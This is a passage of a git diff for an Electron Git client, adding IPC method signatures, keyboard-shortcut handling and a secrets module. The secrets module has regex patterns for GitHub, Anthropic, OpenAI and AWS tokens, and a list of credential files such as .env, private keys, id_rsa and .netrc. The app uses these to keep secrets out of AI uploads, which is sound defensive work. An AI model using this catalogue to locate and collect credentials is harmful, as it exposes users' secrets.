(r.width > width) width = r.width; + } + return { rows, width, firstSha: commits.length ? commits[0].sha : '', lastSha: commits.length ? commits[commits.length - 1].sha : '', state }; +} diff --git a/src/shared/ipc.ts b/src/shared/ipc.ts index bc2c232..0d55a59 100644 --- a/src/shared/ipc.ts +++ b/src/shared/ipc.ts @@ -1,9 +1,13 @@ import type { AddWorktreeOptions, + AiFeature, + AiUsageMonth, AiSettings, AppInfo, AppSettings, Branch, + BisectState, + BranchStack, BlameHunk, BlameResult, CheckRun, @@ -82,8 +86,10 @@ import type { ReleaseRangeQuery, ReleaseRangeResult, Remote, + ReflogEntry, RepositoryChangedEvent, RepositoryInfo, + RepoPrefs, RepositoryScanProgress, RepositoryScanResult, PortableIntegrations, @@ -106,6 +112,7 @@ import type { Submodule, SubmoduleState, Tag, + UndoPlan, ToolsState, UncommittedChangesStrategy, AiResolveProgressEvent, @@ -152,6 +159,8 @@ export interface HistoryOptions { query?: HistoryQuery | null; /** Adds signature placeholders to the log format and populates Commit.signature. Slower on large histories; default false. */ verifySignatures?: boolean; + /** Lists commits in `--date-order` (never a parent before all its children) so the History graph's lanes can be computed incrementally. Only the unfiltered listing needs it; ignored for searches. */ + graph?: boolean; } export type OperationOutcome = { status: 'complete' | 'conflicts' | 'up-to-date' | 'nothing' }; @@ -167,6 +176,8 @@ export interface ApiMethods { 'app.settings.get': () => Promise; 'app.settings.set': (patch: Partial) => Promise; 'app.setApiKey': (key: string | null) => Promise; + /** Stores (or with null removes) the OpenAI-compatible provider's API key, encrypted like the Anthropic key. */ + 'app.setOpenaiApiKey': (key: string | null) => Promise; 'app.openExternal': (url: string) => Promise; 'app.showItemInFolder': (path: string) => Promise; 'app.openPath': (path: string) => Promise; @@ -177,19 +188,30 @@ export interface ApiMethods { 'app.shells': () => Promise; 'app.openInEditor': (repoPath: string, filePath: string | null) => Promise; 'app.openInShell': (repoPath: string) => Promise; + /** Starts the configured `diff.tool` on one file (working tree vs HEAD, or a commit vs its parent) without waiting for it to exit. */ + 'app.openDiffTool': (repoPath: string, path: string, source: { kind: 'working' } | { kind: 'commit'; sha: string }) => Promise; + /** Starts the configured `merge.tool` on a conflicted file; repo state is refreshed (`repo.changed`) when the tool exits. */ + 'app.openMergeTool': (repoPath: string, path: string) => Promise; 'app.clipboard.write': (text: string) => Promise; 'app.pathExists': (path: string) => Promise; 'app.isRepository': (path: string) => Promise; 'app.joinPath': (...parts: string[]) => Promise; 'app.log': (level: 'info' | 'warn' | 'error', message: string) => Promise; 'app.zoom': (direction: 'in' | 'out' | 'reset') => Promise; + /** Desktop only: rebuilds the application menu with these shortcut overrides (a no-op in the browser, which has no menu). */ + 'app.setShortcuts': (overrides: AppSettings['shortcuts']) => Promise; + /** Desktop only: opens another window showing repository `repoId` (a blank window when null). */ + 'app.newWindow': (repoId: string | null) => Promise; 'app.notify': (title: string, body: string) => Promise; 'app.moveToTrash': (path: string) => Promise; 'gh.auth.status': () => Promise; 'gh.auth.login': (host: string) => Promise<{ ok: boolean; error: string | null }>; 'gh.auth.cancelLogin': () => Promise; - 'gh.auth.logout': (host: string) => Promise; + /** Signs out one account (`login`), or the host's active account when omitted. */ + 'gh.auth.logout': (host: string, login?: string) => Promise; + /** Makes `login` the account gh uses by default on `host`. */ + 'gh.auth.switch': (host: string, login: string) => Promise; 'gh.auth.setupGit': () => Promise; /** Requests additional OAuth scopes through the device-flow sign-in (reuses the Sign-in dialog's code UI); used to grant the `notifications` scope from the Inbox panel. */ 'gh.auth.refreshScopes': (scopes: string[]) => Promise<{ ok: boolean; error: string | null }>; @@ -204,7 +226,8 @@ export interface ApiMethods { 'gh.pr.checks': (repoPath: string, number: number) => Promise; 'gh.pr.checkout': (repoPath: string, number: number) => Promise; 'gh.pr.create': (repoPath: string, opts: CreatePullRequestOptions) => Promise<{ url: string | null }>; - 'gh.pr.merge': (repoPath: string, number: number, method: 'merge' | 'squash' | 'rebase', deleteBranch: boolean) => Promise; + 'gh.pr.merge': (repoPath: string, number: number, method: 'merge' | 'squash' | 'rebase', deleteBranch: boolean, auto?: boolean) => Promise; + 'gh.pr.disableAutoMerge': (repoPath: string, number: number) => Promise; 'gh.pr.ready': (repoPath: string, number: number, ready: boolean) => Promise; 'gh.pr.close': (repoPath: string, number: number) => Promise; 'gh.pr.reopen': (repoPath: string, number: number) => Promise; @@ -243,6 +266,10 @@ export interface ApiMethods { 'repos.create': (opts: NewRepositoryOptions) => Promise; 'repos.clone': (opts: CloneOptions) => Promise; 'repos.setAlias': (id: string, alias: string | null) => Promise; + /** Machine-local "Disable AI for this repository" toggle; every `ai.*` call for the repository is then refused in main. */ + 'repos.setAiDisabled': (id: string, disabled: boolean) => Promise; + /** Machine-local per-repository prefs (pin, custom group, commit sign-off, GitHub account); only the fields given are changed. */ + 'repos.setPrefs': (id: string, prefs: RepoPrefs) => Promise; 'repos.refreshIndicators': () => Promise; /** Scans every watched folder; resolves with `alreadyRunning` when one is in flight. */ @@ -263,6 +290,7 @@ export interface ApiMethods { 'repo.status': (repoPath: string) => Promise; 'repo.branches': (repoPath: string) => Promise; 'repo.defaultBranch': (repoPath: string) => Promise; + 'repo.stack': (repoPath: string) => Promise; 'repo.tags': (repoPath: string) => Promise; 'repo.remotes': (repoPath: string) => Promise; 'repo.stashes': (repoPath: string) => Promise; @@ -274,8 +302,17 @@ export interface ApiMethods { 'repo.diff.working': (repoPath: string, path: string, opts: DiffOptions) => Promise; 'repo.diff.stash': (repoPath: string, stashRef: string, path: string, opts: DiffOptions) => Promise; 'repo.diff.range': (repoPath: string, base: string, head: string, path: string, opts: DiffOptions) => Promise; + 'repo.diff.rangeFiles': (repoPath: string, base: string, head: string) => Promise; + /** The repository's `commit.template` as a prefill (comment lines dropped), or null when none is configured/readable. */ + 'repo.commitTemplate': (repoPath: string) => Promise<{ summary: string; description: string } | null>; 'repo.stash.files': (repoPath: string, stashRef: string) => Promise; 'repo.stash.resolveRef': (repoPath: string, sha: string) => Promise; + /** HEAD's reflog, newest first (the "Undo history" dialog). */ + 'repo.reflog': (repoPath: string) => Promise; + /** What "Undo last Git operation" would do, or null when there is nothing to undo. */ + 'repo.undoPlan': (repoPath: string) => Promise; + /** The running bisect, or null. */ + 'repo.bisect': (repoPath: string) => Promise; 'repo.compare': (repoPath: string, base: string, head: string) => Promise<{ ahead: Commit[]; behind: Commit[] }>; 'repo.readFile': (repoPath: string, path: string) => Promise; 'repo.writeFile': (repoPath: string, path: string, content: string) => Promise; @@ -306,8 +343,8 @@ export interface ApiMethods { 'repos.work': () => Promise; /** Reads (never runs) the repository's `.gitgood/config.json` post-resolution check command, for the trust-confirmation flow; `command` is null when absent or invalid. `trustState` is 'unknown' only the first time (before the user has ever been asked); 'declined' is sticky until `repo.trustConfig` re-trusts it. */ 'repo.checkConfig': (repoPath: string) => Promise<{ command: string | null; trustState: 'trusted' | 'declined' | 'unknown' }>; - /** Records whether the user trusts this repository's `.gitgood/config.json` check command; `false` disables it until re-trusted. */ - 'repo.trustConfig': (repoPath: string, trusted: boolean) => Promise; + /** Records whether the user trusts this repository's `.gitgood/config.json` check command; `false` disables it until re-trusted. Trusting passes the command the user was shown: when the file's current command differs the grant is refused (`ok: false`) with the current command so the caller can re-prompt. */ + 'repo.trustConfig': (repoPath: string, trusted: boolean, command: string | null) => Promise<{ ok: true } | { ok: false; command: string | null }>; 'git.commit': (repoPath: string, opts: CommitOptions) => Promise; 'git.undoCommit': (repoPath: string) => Promise; @@ -327,7 +364,10 @@ export interface ApiMethods { 'git.merge': (repoPath: string, branch: string, squash: boolean) => Promise; 'git.merge.abort': (repoPath: string) => Promise; 'git.merge.continue': (repoPath: string) => Promise; - 'git.rebase': (repoPath: string, onto: string) => Promise; + /** `updateRefs` adds `--update-refs`: branches stacked on the current one move along with it. */ + 'git.rebase': (repoPath: string, onto: string, updateRefs?: boolean) => Promise; + /** Force-pushes (with lease) the current branch and the stack below it; resolves with the pushed branch names. */ + 'git.pushStack': (repoPath: string) => Promise; /** `unsigned` retries the paused step with `-c commit.gpgsign=false`, for the "Commit unsigned this time" recovery from a signing-failed dialog. Never persists a config change. */ 'git.rebase.continue': (repoPath: string, unsigned?: boolean) => Promise; 'git.rebase.skip': (repoPath: string) => Promise; @@ -372,6 +412,12 @@ export interface ApiMethods { 'git.remote.prune': (repoPath: string, remote: string) => Promise; 'git.gc': (repoPath: string, aggressive: boolean) => Promise; 'git.reflog.expire': (repoPath: string) => Promise; + /** `git reset --keep `; `stashFirst` stashes local changes (untracked included) beforehand. Throws `local-changes-overwritten` when git refuses to keep them. */ + 'git.resetKeep': (repoPath: string, sha: string, stashFirst: boolean) => Promise; + 'git.bisect.start': (repoPath: string, bad: string, good: string) => Promise; + /** `sha` null marks the commit currently checked out for testing. */ + 'git.bisect.mark': (repoPath: string, verb: 'good' | 'bad' | 'skip', sha: string | null) => Promise; + 'git.bisect.reset': (repoPath: string) => Promise; 'app.operations.cancel': (id: string) => Promise; /** `checkOutput`, when given, is the single allowed "Ask AI to fix" retry after a failed post-resolution check; `original` is the failed run's true pre-resolution conflicted content, since the file on disk no longer has markers at retry time. */ @@ -386,9 +432,13 @@ export interface ApiMethods { /** Paths of manual resolutions recorded for the repository's current operation, offered as "Resolve remaining like …"; empty once the operation ends. */ 'ai.resolve.examples': (repoPath: string) => Promise; 'ai.resolve.clearExamples': (repoPath: string) => Promise; - 'ai.cancel': () => Promise; + /** Cancels one AI feature's in-flight request. In server mode only a request started by the calling client is affected. */ + 'ai.cancel': (feature: AiFeature) => Promise; + /** Token usage per feature for this month and last month, from the machine-local usage log. */ + 'ai.usage.get': () => Promise; 'ai.test': () => Promise<{ ok: boolean; message: string }>; - 'ai.commitMessage': (repoPath: string, files: string[]) => Promise<{ summary: string; description: string }>; + /** `skipped` lists selected files left out of the request because they look like secrets (`path: reason`). */ + 'ai.commitMessage': (repoPath: string, files: string[]) => Promise<{ summary: string; description: string; skipped: string[] }>; 'ai.review.plan': (repoPath: string, target: ReviewTarget) => Promise; 'ai.review.start': (repoPath: string, target: ReviewTarget, opts?: ReviewStartOptions) => Promise; 'ai.review.get': (repoPath: string, target: ReviewTarget) => Promise; @@ -406,6 +456,8 @@ export interface ApiMethods { 'ai.review.exportPath': (repoPath: string, runId: string) => Promise; /** Writes the export, then opens the repository in the configured terminal running the configured agent command. `launched` is false when the terminal could not run a command and the command was copied to the clipboard instead. */ 'ai.review.fixWithAgent': (repoPath: string, runId: string) => Promise<{ launched: boolean; command: string }>; + /** Spends the per-run token from an exported `gitgood://review/rerun` link; true only once, only for the repository the token was minted for. A false result means the re-review must be confirmed by the user before anything is uploaded. */ + 'ai.review.consumeRerunToken': (repoPath: string, token: string) => Promise; 'ai.explain': (repoPath: string, target: ExplainTarget) => Promise; 'ai.explain.followUp': (repoPath: string, target: ExplainTarget, history: ExplainFollowUp[], question: string) => Promise; 'ai.explainError': (repoPath: string | null, error: GitErrorInfo, retryable: boolean) => Promise; @@ -501,6 +553,12 @@ export interface EventPayloads { 'gh.inbox.new': InboxItem[]; 'app.update.changed': UpdateState; 'repos.scanProgress': RepositoryScanProgress; + /** Browser/remote bridge only (src/server/web-bridge.ts): the event socket dropped or came back. */ + 'server.connection': { connected: boolean }; + /** Browser bridge only: the server reports a different version than the one this page loaded. */ + 'server.updated': { version: string }; + /** Browser/remote bridge only: asks the app to show its folder picker for the server's filesystem; `done` settles `app.chooseDirectory`. */ + 'server.pickDirectory': { opts: { title?: string; defaultPath?: string; buttonLabel?: string }; done: (path: string | null) => void }; } export type EventName = keyof EventPayloads; diff --git a/src/shared/secrets.ts b/src/shared/secrets.ts new file mode 100644 index 0000000..53147cd --- /dev/null +++ b/src/shared/secrets.ts @@ -0,0 +1,72 @@ +import { pathsFromDiffHeader } from './diff/parse'; + +/** Order matters only in that every pattern is applied; they do not overlap. */ +const SECRET_PATTERNS: readonly [RegExp, string][] = [ + [/\bghp_[A-Za-z0-9]{20,}\b/g, 'ghp_***'], + [/\bgithub_pat_[A-Za-z0-9_]{20,}\b/g, 'github_pat_***'], + [/\bgho_[A-Za-z0-9]{20,}\b/g, 'gho_***'], + [/\bghu_[A-Za-z0-9]{20,}\b/g, 'ghu_***'], + [/\bghs_[A-Za-z0-9]{20,}\b/g, 'ghs_***'], + [/\bghr_[A-Za-z0-9]{20,}\b/g, 'ghr_***'], + [/\bsk-ant-[A-Za-z0-9_-]{10,}\b/g, 'sk-ant-***'], + [/\bsk-(?:proj-)?[A-Za-z0-9_-]{20,}\b/g, 'sk-***'], + [/\bAKIA[0-9A-Z]{16}\b/g, 'AKIA***'], + [/\bBearer\s+\S+/gi, 'Bearer ***'], + [/\bANTHROPIC_API_KEY=\S+/g, 'ANTHROPIC_API_KEY=***'], + // URL userinfo, any scheme: https://user:pass@host, ssh://user:pass@host, ... + [/([a-zA-Z][a-zA-Z0-9+.-]*:\/\/)[^/\s:@]+:[^/\s:@]+@/g, '$1***:***@'], +]; + +/** Masks known secret shapes (GitHub tokens, bearer tokens, URL userinfo, Anthropic/OpenAI API keys, AWS access key ids). Pure string transform; never throws. */ +export function scrubSecrets(text: string): string { + let out = text; + for (const [re, replacement] of SECRET_PATTERNS) out = out.replace(re, replacement); + return out; +} + +/** `.npmrc` / `.pypirc` only matter when they carry credentials. */ +const CREDENTIAL_ASSIGNMENT = /(?:_auth(?:Token)?|_password|password|token|secret)\s*[=:]/i; + +/** + * Why a file must never be uploaded to an AI provider, or null when it may be. + * Deliberately short and obvious: env files (not `.env.example`-style + * templates), private keys/certificates, SSH identities (not `.pub`), `.netrc`, + * `credentials*.json`, and `.npmrc`/`.pypirc` that hold credentials. For those + * two, `content` (the file or its diff text) decides; without it they are + * treated as holding credentials. + */ +export function secretFileReason(path: string, content?: string): string | null { + const base = path.slice(path.lastIndexOf('/') + 1).toLowerCase(); + if ((base === '.env' || base.startsWith('.env.')) && !/\.(example|sample|template|dist)$/.test(base)) return 'environment file (may contain secrets)'; + if (/\.(pem|key|p12|pfx)$/.test(base)) return 'private key or certificate'; + if (/^id_(rsa|ed25519)/.test(base) && !base.endsWith('.pub')) return 'SSH private key'; + if (base === '.netrc') return 'credentials file'; + if (/^credentials.*\.json$/.test(base)) return 'credentials file'; + if ((base === '.npmrc' || base === '.pypirc') && (content === undefined || CREDENTIAL_ASSIGNMENT.test(content))) return 'registry config with credentials'; + return null; +} + +/** + * Removes the per-file blocks of secret-shaped files (see `secretFileReason`) from a git patch. + * `skipped` lists what was removed as `path: reason`, for showing to the user. + */ +export function dropSecretFilePatches(patch: string): { patch: string; skipped: string[] } { + const skipped: string[] = []; + const kept = patch.split(/(?=^diff --git )/m).filter((block) => { + const paths = pathsFromDiffHeader(block.split('\n', 1)[0]); + if (!paths) { + if (!block.startsWith('diff --git ')) return true; + skipped.push('Unknown path: could not safely decode the diff header'); + return false; + } + for (const path of new Set([paths.oldPath, paths.newPath])) { + const reason = secretFileReason(path, block); + if (reason) { + skipped.push(`${path}: ${reason}`); + return false; + } + } + return true; + }); + return { patch: kept.join(''), skipped }; +} diff --git a/src/shared/shortcuts.ts b/src/shared/shortcuts.ts new file mode 100644 index 0000000..9475337 --- /dev/null +++ b/src/shared/shortcuts.ts @@ -0,0 +1,271 @@ +/** + * Keyboard shortcuts: the one list of actions and their default accelerators + * (Electron accelerator syntax, `CmdOrCtrl` = Cmd on macOS / Ctrl elsewhere), + * the merge with the user's overrides (`AppSettings.shortcuts`), conflict + * detection, and the KeyboardEvent <-> accelerator conversions. The native menu + * (src/main/menu.ts) and the renderer-handled shortcuts both read from here, so + * a rebinding applies to both. Pure: no Electron, DOM or Node imports. + */ + +export type ShortcutCategory = 'Navigation' | 'Editing' | 'AI' | 'Git ops' | 'View'; +export const SHORTCUT_CATEGORIES: readonly ShortcutCategory[] = ['Navigation', 'Editing', 'AI', 'Git ops', 'View']; + +/** `id` is the menu action id (`handleMenuAction`), except `commit`, which only the renderer handles. */ +export interface ShortcutDef { + id: string; + label: string; + category: ShortcutCategory; + accelerator: string; +} + +/** Overrides keyed by action id: an accelerator replaces the default, `null` unbinds. Absent = default. */ +export type ShortcutOverrides = Record; +export type ShortcutMap = Record; + +export const SHORTCUTS: readonly ShortcutDef[] = [ + { id: 'new-repository', label: 'New repository', category: 'Git ops', accelerator: 'CmdOrCtrl+N' }, + { id: 'add-local-repository', label: 'Add local repository', category: 'Git ops', accelerator: 'CmdOrCtrl+O' }, + { id: 'clone-repository', label: 'Clone repository', category: 'Git ops', accelerator: 'CmdOrCtrl+Shift+O' }, + { id: 'remove-repository', label: 'Remove repository', category: 'Git ops', accelerator: 'CmdOrCtrl+Delete' }, + { id: 'settings', label: 'Options', category: 'View', accelerator: 'CmdOrCtrl+,' }, + { id: 'keyboard-shortcuts', label: 'Keyboard shortcuts', category: 'View', accelerator: 'CmdOrCtrl+/' }, + { id: 'command-palette', label: 'Ask GitGood (command palette)', category: 'AI', accelerator: 'CmdOrCtrl+K' }, + { id: 'find', label: 'Find', category: 'Navigation', accelerator: 'CmdOrCtrl+F' }, + { id: 'show-changes', label: 'Show Changes', category: 'Navigation', accelerator: 'CmdOrCtrl+1' }, + { id: 'show-history', label: 'Show History', category: 'Navigation', accelerator: 'CmdOrCtrl+2' }, + { id: 'show-stashes', label: 'Show Stashes', category: 'Navigation', accelerator: 'CmdOrCtrl+Shift+S' }, + { id: 'show-worktrees', label: 'Worktrees', category: 'Navigation', accelerator: 'CmdOrCtrl+Shift+W' }, + { id: 'show-health', label: 'Repository health', category: 'Navigation', accelerator: 'CmdOrCtrl+Shift+K' }, + { id: 'show-issues', label: 'Issues', category: 'Navigation', accelerator: 'CmdOrCtrl+Shift+L' }, + { id: 'show-repository-list', label: 'Repository list', category: 'Navigation', accelerator: 'CmdOrCtrl+T' }, + { id: 'show-branches-list', label: 'Branch list', category: 'Navigation', accelerator: 'CmdOrCtrl+B' }, + { id: 'show-inbox', label: 'Notifications inbox', category: 'Navigation', accelerator: 'CmdOrCtrl+Shift+J' }, + { id: 'focus-commit-summary', label: 'Go to commit summary', category: 'Navigation', accelerator: 'CmdOrCtrl+G' }, + { id: 'search-history-selection', label: 'Search history for selection', category: 'Navigation', accelerator: 'CmdOrCtrl+Alt+F' }, + { id: 'open-in-shell', label: 'Open in terminal', category: 'Navigation', accelerator: 'Ctrl+`' }, + { id: 'show-in-folder', label: 'Show in folder', category: 'Navigation', accelerator: 'CmdOrCtrl+Shift+F' }, + { id: 'open-in-editor', label: 'Open in external editor', category: 'Navigation', accelerator: 'CmdOrCtrl+Shift+A' }, + { id: 'commit', label: 'Commit', category: 'Editing', accelerator: 'CmdOrCtrl+Enter' }, + { id: 'discard-all-changes', label: 'Discard all changes', category: 'Editing', accelerator: 'CmdOrCtrl+Shift+Backspace' }, + { id: 'toggle-split-diff', label: 'Toggle split diff', category: 'View', accelerator: 'CmdOrCtrl+Shift+D' }, + { id: 'toggle-blame', label: 'Toggle blame', category: 'View', accelerator: 'Alt+B' }, + { id: 'zoom-in', label: 'Zoom in', category: 'View', accelerator: 'CmdOrCtrl+=' }, + { id: 'zoom-out', label: 'Zoom out', category: 'View', accelerator: 'CmdOrCtrl+-' }, + { id: 'zoom-reset', label: 'Reset zoom', category: 'View', accelerator: 'CmdOrCtrl+0' }, + { id: 'push', label: 'Push', category: 'Git ops', accelerator: 'CmdOrCtrl+P' }, + { id: 'pull', label: 'Pull', category: 'Git ops', accelerator: 'CmdOrCtrl+Shift+P' }, + { id: 'fetch', label: 'Fetch', category: 'Git ops', accelerator: 'CmdOrCtrl+Shift+T' }, + { id: 'new-branch', label: 'New branch', category: 'Git ops', accelerator: 'CmdOrCtrl+Shift+N' }, + { id: 'delete-branch', label: 'Delete branch', category: 'Git ops', accelerator: 'CmdOrCtrl+Shift+Delete' }, + { id: 'merge-branch', label: 'Merge into current branch', category: 'Git ops', accelerator: 'CmdOrCtrl+Shift+M' }, + { id: 'squash-merge-branch', label: 'Squash and merge into current branch', category: 'Git ops', accelerator: 'CmdOrCtrl+Shift+H' }, + { id: 'rebase-branch', label: 'Rebase current branch', category: 'Git ops', accelerator: 'CmdOrCtrl+Shift+E' }, + { id: 'update-from-default', label: 'Update from default branch', category: 'Git ops', accelerator: 'CmdOrCtrl+Shift+U' }, + { id: 'compare-branch', label: 'Compare to branch', category: 'Git ops', accelerator: 'CmdOrCtrl+Shift+B' }, + { id: 'compare-on-github', label: 'Compare on GitHub', category: 'Git ops', accelerator: 'CmdOrCtrl+Shift+C' }, + { id: 'create-pull-request', label: 'Create pull request', category: 'Git ops', accelerator: 'CmdOrCtrl+R' }, + { id: 'review-pull-request', label: 'Review pull request with AI', category: 'AI', accelerator: 'CmdOrCtrl+Shift+R' }, + { id: 'view-on-github', label: 'View on GitHub', category: 'Git ops', accelerator: 'CmdOrCtrl+Shift+G' }, + { id: 'create-issue', label: 'Create issue on GitHub', category: 'Git ops', accelerator: 'CmdOrCtrl+I' }, +]; + +/** Accelerators the native menu's built-in items own (edit roles, DevTools, fullscreen); not rebindable, so no action may take them. */ +const FIXED: readonly { accelerator: string; label: string }[] = [ + { accelerator: 'CmdOrCtrl+Z', label: 'Undo' }, + { accelerator: 'CmdOrCtrl+Shift+Z', label: 'Redo' }, + { accelerator: 'CmdOrCtrl+X', label: 'Cut' }, + { accelerator: 'CmdOrCtrl+C', label: 'Copy' }, + { accelerator: 'CmdOrCtrl+V', label: 'Paste' }, + { accelerator: 'CmdOrCtrl+A', label: 'Select all' }, + { accelerator: 'CmdOrCtrl+Shift+I', label: 'Toggle developer tools' }, + { accelerator: 'F11', label: 'Toggle full screen' }, + { accelerator: 'CmdOrCtrl+Alt+N', label: 'New window' }, +]; + +// --------------------------------------------------------------------------- +// Accelerator parsing +// --------------------------------------------------------------------------- + +type Mod = 'CmdOrCtrl' | 'Ctrl' | 'Alt' | 'Shift' | 'Meta'; +/** Display / storage order of modifiers. */ +const MOD_ORDER: readonly Mod[] = ['CmdOrCtrl', 'Ctrl', 'Alt', 'Shift', 'Meta']; +const MODS: Record = { + cmdorctrl: 'CmdOrCtrl', + commandorcontrol: 'CmdOrCtrl', + ctrl: 'Ctrl', + control: 'Ctrl', + alt: 'Alt', + option: 'Alt', + shift: 'Shift', + cmd: 'Meta', + command: 'Meta', + super: 'Meta', + meta: 'Meta', +}; +const PUNCTUATION = '`-=[]\\;\',./'; +const NAMED_KEYS = ['Space', 'Tab', 'Backspace', 'Delete', 'Insert', 'Enter', 'Up', 'Down', 'Left', 'Right', 'Home', 'End', 'PageUp', 'PageDown', 'Escape']; +const KEY_ALIASES: Record = { return: 'Enter', esc: 'Escape' }; + +interface Parsed { + mods: Set; + key: string; +} + +function normalizeKey(raw: string): string | null { + if (/^[a-z0-9]$/i.test(raw)) return raw.toUpperCase(); + if (/^f([1-9]|1\d|2[0-4])$/i.test(raw)) return raw.toUpperCase(); + if (raw.length === 1 && PUNCTUATION.includes(raw)) return raw; + const lower = raw.toLowerCase(); + const wanted = Object.hasOwn(KEY_ALIASES, lower) ? KEY_ALIASES[lower] : lower; + return NAMED_KEYS.find((k) => k.toLowerCase() === wanted.toLowerCase()) ?? null; +} + +/** Null when `accelerator` is not one Electron accepts AND we can match: modifiers then one key; needs a non-Shift modifier unless it is a function key. */ +function parse(accelerator: string): Parsed | null { + const parts = accelerator.split('+'); + const key = normalizeKey(parts.pop() ?? ''); + if (!key) return null; + const mods = new Set(); + for (const part of parts) { + const mod = Object.hasOwn(MODS, part.toLowerCase()) ? MODS[part.toLowerCase()] : undefined; + if (!mod) return null; + mods.add(mod); + } + if (!/^F\d+$/.test(key) && ![...mods].some((m) => m !== 'Shift')) return null; + return { mods, key }; +} + +export function isValidAccelerator(accelerator: unknown): accelerator is string { + return typeof accelerator === 'string' && parse(accelerator) !== null; +} + +/** Platform-resolved comparison form: `CmdOrCtrl` becomes Cmd (Meta) on macOS and Ctrl elsewhere. Null for an invalid accelerator. */ +export function canonicalAccelerator(accelerator: string, isMac: boolean): string | null { + const parsed = parse(accelerator); + if (!parsed) return null; + const mods = new Set([...parsed.mods].map((m) => (m === 'CmdOrCtrl' ? (isMac ? 'Meta' : 'Ctrl') : m))); + return [...MOD_ORDER.filter((m) => mods.has(m)), parsed.key].join('+'); +} + +/** How an accelerator reads in the UI: `CmdOrCtrl` as the platform's modifier (⌘ / Ctrl). */ +export function formatAccelerator(accelerator: string, isMac: boolean): string { + const parsed = parse(accelerator); + if (!parsed) return accelerator; + const label: Record = { CmdOrCtrl: isMac ? '⌘' : 'Ctrl', Ctrl: isMac ? '⌃' : 'Ctrl', Alt: 'Alt', Shift: 'Shift', Meta: isMac ? '⌘' : 'Super' }; + return [...MOD_ORDER.filter((m) => parsed.mods.has(m)).map((m) => label[m]), parsed.key].join('+'); +} + +// --------------------------------------------------------------------------- +// KeyboardEvent <-> accelerator +// --------------------------------------------------------------------------- + +/** The part of a KeyboardEvent we read; `code` (physical key) keeps Shift/Option from changing the key's identity. */ +export interface KeyLike { + code: string; + ctrlKey: boolean; + metaKey: boolean; + altKey: boolean; + shiftKey: boolean; +} + +const CODE_KEYS: Record = { + Backquote: '`', + Minus: '-', + Equal: '=', + BracketLeft: '[', + BracketRight: ']', + Backslash: '\\', + Semicolon: ';', + Quote: "'", + Comma: ',', + Period: '.', + Slash: '/', + Space: 'Space', + Tab: 'Tab', + Backspace: 'Backspace', + Delete: 'Delete', + Insert: 'Insert', + Enter: 'Enter', + NumpadEnter: 'Enter', + ArrowUp: 'Up', + ArrowDown: 'Down', + ArrowLeft: 'Left', + ArrowRight: 'Right', + Home: 'Home', + End: 'End', + PageUp: 'PageUp', + PageDown: 'PageDown', + Escape: 'Escape', +}; + +/** The accelerator key for an event's physical key; null for modifier-only presses and keys we cannot bind. */ +function eventKey(code: string): string | null { + const m = /^(?:Key([A-Z])|Digit(\d)|(F(?:[1-9]|1\d|2[0-4])))$/.exec(code); + if (m) return m[1] ?? m[2] ?? m[3]; + return Object.hasOwn(CODE_KEYS, code) ? CODE_KEYS[code] : null; +} + +/** What a key press means as a stored accelerator (`CmdOrCtrl` for this platform's primary modifier); null if it is not a bindable combination. */ +export function acceleratorFromEvent(e: KeyLike, isMac: boolean): string | null { + const key = eventKey(e.code); + if (!key) return null; + const primary = isMac ? e.metaKey : e.ctrlKey; + const mods = [primary && 'CmdOrCtrl', (isMac ? e.ctrlKey : e.metaKey) && (isMac ? 'Ctrl' : 'Meta'), e.altKey && 'Alt', e.shiftKey && 'Shift'].filter(Boolean); + const accelerator = [...mods, key].join('+'); + return isValidAccelerator(accelerator) ? accelerator : null; +} + +/** True when the key press is exactly `accelerator` (modifiers included); the renderer's counterpart of a menu accelerator. */ +export function matchesAccelerator(accelerator: string | null | undefined, e: KeyLike, isMac: boolean): boolean { + if (!accelerator) return false; + const pressed = acceleratorFromEvent(e, isMac); + return pressed !== null && canonicalAccelerator(pressed, isMac) === canonicalAccelerator(accelerator, isMac); +} + +// --------------------------------------------------------------------------- +// Defaults + overrides +// --------------------------------------------------------------------------- + +const DEFAULTS: Record = Object.fromEntries(SHORTCUTS.map((d) => [d.id, d.accelerator])); + +/** Keeps only known action ids whose value is null or a valid accelerator (settings files and imports are hand-editable). */ +export function sanitizeShortcutOverrides(raw: unknown): ShortcutOverrides { + const out: ShortcutOverrides = {}; + if (!raw || typeof raw !== 'object' || Array.isArray(raw)) return out; + for (const [id, value] of Object.entries(raw)) { + if (Object.hasOwn(DEFAULTS, id) && (value === null || isValidAccelerator(value))) out[id] = value; + } + return out; +} + +/** The accelerator in force for every action: its default unless overridden (null = unbound). */ +export function mergeShortcuts(overrides?: unknown): ShortcutMap { + const valid = sanitizeShortcutOverrides(overrides); + return Object.fromEntries(SHORTCUTS.map((d) => [d.id, Object.hasOwn(valid, d.id) ? valid[d.id] : d.accelerator])); +} + +/** Overrides after binding `id` to `accelerator` (null unbinds); binding the default drops the override. */ +export function setShortcut(overrides: ShortcutOverrides, id: string, accelerator: string | null): ShortcutOverrides { + const next = { ...overrides }; + if (accelerator === DEFAULTS[id]) delete next[id]; + else next[id] = accelerator; + return next; +} + +export interface ShortcutConflict { + /** The action holding the accelerator; null for a fixed menu item that cannot be unbound. */ + id: string | null; + label: string; +} + +/** The action (or fixed menu item) that already uses `accelerator`, ignoring `id` itself; null when it is free. */ +export function findConflict(shortcuts: ShortcutMap, id: string, accelerator: string, isMac: boolean): ShortcutConflict | null { + const wanted = canonicalAccelerator(accelerator, isMac); + if (!wanted) return null; + for (const def of SHORTCUTS) { + const other = shortcuts[def.id]; + if (def.id !== id && other && canonicalAccelerator(other, isMac) === wanted) return { id: def.id, label: def.label }; + } + const fixed = FIXED.find((f) => canonicalAccelerator(f.accelerator, isMac) === wanted); + return fixed ? { id: null, label: fixed.label } : null; +} diff --git a/src/shared/types.ts b/src/shared/types.ts index d7213c6..42adc4a 100644 --- a/src/shared/types.ts +++ b/src/shared/types.ts @@ -2,19 +2,50 @@ * Shared data types that cross the IPC boundary between the Electron main * process and the renderer. Keep this file free of Node or DOM specifics. */ +import type { ShortcutOverrides } from './shortcuts'; export type Theme = 'system' | 'light' | 'dark'; export type DiffViewMode = 'unified' | 'split'; export type EffortLevel = 'low' | 'medium' | 'high' | 'xhigh' | 'max'; +/** The AI features that can run (and be cancelled / metered) independently. */ +export type AiFeature = 'resolver' | 'commitMessage' | 'review' | 'split' | 'triage' | 'prDraft' | 'rebase' | 'releaseNotes' | 'explain' | 'errorExplain' | 'nlPalette'; + +/** Token usage reported by a backend for one request; `costUsd` only when the backend itself reports it. */ +export interface AiUsage { + inputTokens: number; + outputTokens: number; + cacheReadTokens: number; + cacheWriteTokens: number; + costUsd: number | null; +} + +/** Per-feature totals for one calendar month (machine-local; see ai/usage.ts). */ +export interface 